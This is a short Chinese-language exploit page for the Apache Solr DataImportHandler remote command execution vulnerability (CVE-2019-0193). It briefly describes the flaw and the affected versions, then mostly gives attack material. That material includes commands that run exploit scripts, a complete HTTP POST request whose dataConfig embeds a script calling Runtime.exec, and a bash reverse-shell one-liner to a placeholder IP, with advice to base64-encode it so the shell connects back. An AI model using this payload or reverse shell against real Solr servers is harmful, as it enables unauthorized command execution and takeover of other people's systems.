Solr 远程命令执行漏洞(CVE 2019 0193)
漏洞概述¶
此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。
它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。
由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行
影响范围¶
Solr < 8.2.0
POC¶
python poc.py
EXP¶
方法一
python3 exp.py <url>
方法二
访问http://ip:8983/
Apache solr的管理页面,无需登录(默认未开启鉴权认证)
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("echo '666' > ./666.txt");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
如直接如上写入反弹无反应,需要base64加密写才能反弹一个shell